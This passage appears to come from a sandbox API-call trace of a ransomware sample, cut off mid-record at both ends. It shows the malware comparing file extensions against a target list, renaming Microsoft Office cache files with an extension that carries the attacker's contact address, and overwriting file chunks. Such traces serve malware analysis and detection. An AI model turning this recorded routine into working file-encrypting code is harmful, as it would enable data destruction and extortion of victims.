Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0116.967] lstrlenW (lpString=".1cd") returned 4 [0116.967] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0116.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0116.967] lstrlenW (lpString=".jpg") returned 4 [0116.967] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0116.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0116.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0116.967] lstrlenW (lpString=".doc") returned 4 [0116.967] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0116.967] lstrlenW (lpString=".docx") returned 5 [0116.967] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0116.967] lstrlenW (lpString=".pdf") returned 4 [0116.967] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0116.967] lstrlenW (lpString=".xls") returned 4 [0116.967] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0116.967] lstrlenW (lpString=".xlsx") returned 5 [0116.967] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0116.967] lstrlenW (lpString=".ppt") returned 4 [0116.967] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0116.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0116.967] lstrlenW (lpString=".zip") returned 4 [0116.967] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0116.967] lstrlenW (lpString=".rar") returned 4 [0116.967] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0116.967] lstrlenW (lpString=".bz2") returned 4 [0116.967] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0116.967] lstrlenW (lpString=".7z") returned 3 [0116.967] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0116.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0116.967] lstrlenW (lpString=".dbf") returned 4 [0116.967] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0116.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0116.967] lstrlenW (lpString=".1cd") returned 4 [0116.967] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0116.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0116.967] lstrlenW (lpString=".jpg") returned 4 [0116.967] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0116.967] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0116.967] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0116.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0116.968] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=2513920) returned 1 [0116.968] CloseHandle (hObject=0x1a8) returned 1 [0116.968] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0116.968] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.968] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0116.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0116.968] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0x0) returned 1 [0116.968] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0116.969] ReadFile (in: hFile=0x1a8, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0117.111] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0117.111] ReadFile (in: hFile=0x1a8, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0117.119] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.119] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0117.119] ReadFile (in: hFile=0x1a8, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0117.134] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0117.134] WriteFile (in: hFile=0x1a8, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x2e4f828, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f828*=0xc010c, lpOverlapped=0x0) returned 1 [0117.232] SetEndOfFile (hFile=0x1a8) returned 1 [0117.236] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0117.236] WriteFile (in: hFile=0x1a8, lpBuffer=0x37e5b38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x37e5b38*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0117.237] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0117.237] WriteFile (in: hFile=0x1a8, lpBuffer=0x37e5b38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x37e5b38*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0117.242] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0117.242] WriteFile (in: hFile=0x1a8, lpBuffer=0x37e5b38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x37e5b38*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0117.245] CloseHandle (hObject=0x1a8) returned 1 [0118.631] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0118.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0118.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0118.631] lstrlenW (lpString=".doc") returned 4 [0118.631] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0118.631] lstrlenW (lpString=".docx") returned 5 [0118.631] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0118.631] lstrlenW (lpString=".pdf") returned 4 [0118.631] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0118.632] lstrlenW (lpString=".xls") returned 4 [0118.632] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0118.632] lstrlenW (lpString=".xlsx") returned 5 [0118.632] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0118.632] lstrlenW (lpString=".ppt") returned 4 [0118.632] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0118.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0118.632] lstrlenW (lpString=".zip") returned 4 [0118.632] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0118.632] lstrlenW (lpString=".rar") returned 4 [0118.632] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0118.632] lstrlenW (lpString=".bz2") returned 4 [0118.632] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0118.632] lstrlenW (lpString=".7z") returned 3 [0118.632] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0118.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0118.632] lstrlenW (lpString=".dbf") returned 4 [0118.632] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0118.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0118.632] lstrlenW (lpString=".1cd") returned 4 [0118.632] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0118.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0118.632] lstrlenW (lpString=".jpg") returned 4 [0118.632] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0118.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0118.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0118.632] lstrlenW (lpString=".doc") returned 4 [0118.632] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0118.632] lstrlenW (lpString=".docx") returned 5 [0118.632] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0118.632] lstrlenW (lpString=".pdf") returned 4 [0118.632] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0118.632] lstrlenW (lpString=".xls") returned 4 [0118.632] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0118.632] lstrlenW (lpString=".xlsx") returned 5 [0118.632] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0118.632] lstrlenW (lpString=".ppt") returned 4 [0118.632] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0118.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0118.632] lstrlenW (lpString=".zip") returned 4 [0118.632] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0118.632] lstrlenW (lpString=".rar") returned 4 [0118.632] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0118.632] lstrlenW (lpString=".bz2") returned 4 [0118.632] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0118.632] lstrlenW (lpString=".7z") returned 3 [0118.633] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0118.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0118.633] lstrlenW (lpString=".dbf") returned 4 [0118.633] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0118.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0118.633] lstrlenW (lpString=".1cd") returned 4 [0118.633] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0118.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0118.633] lstrlenW (lpString=".jpg") returned 4 [0118.633] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0118.633] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0118.633] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0118.633] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0118.633] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=2865664) returned 1 [0118.633] CloseHandle (hObject=0x1a8) returned 1 [0118.633] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0118.633] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0118.633] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0119.309] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0119.309] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0x0) returned 1 [0119.309] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0119.309] ReadFile (in: hFile=0x1d4, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0119.313] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0119.314] ReadFile (in: hFile=0x1d4, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0119.323] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.323] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0119.323] ReadFile (in: hFile=0x1d4, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0119.343] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0119.343] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2e4f828, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f828*=0xc0108, lpOverlapped=0x0) returned 1 [0119.360] SetEndOfFile (hFile=0x1d4) returned 1 [0119.583] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0119.583] WriteFile (in: hFile=0x1d4, lpBuffer=0x3899fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3899fd0*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0119.620] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0119.620] WriteFile (in: hFile=0x1d4, lpBuffer=0x3899fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3899fd0*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0119.626] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0119.626] WriteFile (in: hFile=0x1d4, lpBuffer=0x3899fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3899fd0*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0119.629] CloseHandle (hObject=0x1d4) returned 1 [0120.768] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0120.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0120.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0120.768] lstrlenW (lpString=".doc") returned 4 [0120.768] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0120.768] lstrlenW (lpString=".docx") returned 5 [0120.768] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0120.768] lstrlenW (lpString=".pdf") returned 4 [0120.768] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0120.769] lstrlenW (lpString=".xls") returned 4 [0120.769] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0120.769] lstrlenW (lpString=".xlsx") returned 5 [0120.769] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0120.769] lstrlenW (lpString=".ppt") returned 4 [0120.769] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0120.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0120.769] lstrlenW (lpString=".zip") returned 4 [0120.769] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0120.769] lstrlenW (lpString=".rar") returned 4 [0120.769] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0120.769] lstrlenW (lpString=".bz2") returned 4 [0120.769] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0120.769] lstrlenW (lpString=".7z") returned 3 [0120.769] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0120.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0120.769] lstrlenW (lpString=".dbf") returned 4 [0120.769] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0120.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0120.769] lstrlenW (lpString=".1cd") returned 4 [0120.769] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0120.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0120.769] lstrlenW (lpString=".jpg") returned 4 [0120.769] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0120.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0120.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0120.769] lstrlenW (lpString=".doc") returned 4 [0120.769] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0120.769] lstrlenW (lpString=".docx") returned 5 [0120.769] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0120.769] lstrlenW (lpString=".pdf") returned 4 [0120.769] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0120.769] lstrlenW (lpString=".xls") returned 4 [0120.769] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0120.769] lstrlenW (lpString=".xlsx") returned 5 [0120.769] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0120.769] lstrlenW (lpString=".ppt") returned 4 [0120.769] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0120.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0120.770] lstrlenW (lpString=".zip") returned 4 [0120.770] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0120.770] lstrlenW (lpString=".rar") returned 4 [0120.770] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0120.770] lstrlenW (lpString=".bz2") returned 4 [0120.770] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0120.770] lstrlenW (lpString=".7z") returned 3 [0120.770] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0120.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0120.770] lstrlenW (lpString=".dbf") returned 4 [0120.770] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0120.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0120.770] lstrlenW (lpString=".1cd") returned 4 [0120.770] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0120.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0120.770] lstrlenW (lpString=".jpg") returned 4 [0120.770] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0120.770] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0120.770] lstrlenW (lpString="Proof.cab") returned 9 [0120.770] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0120.770] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=11482605) returned 1 [0120.770] CloseHandle (hObject=0x1fc) returned 1 [0120.771] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0120.771] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.771] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0121.075] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 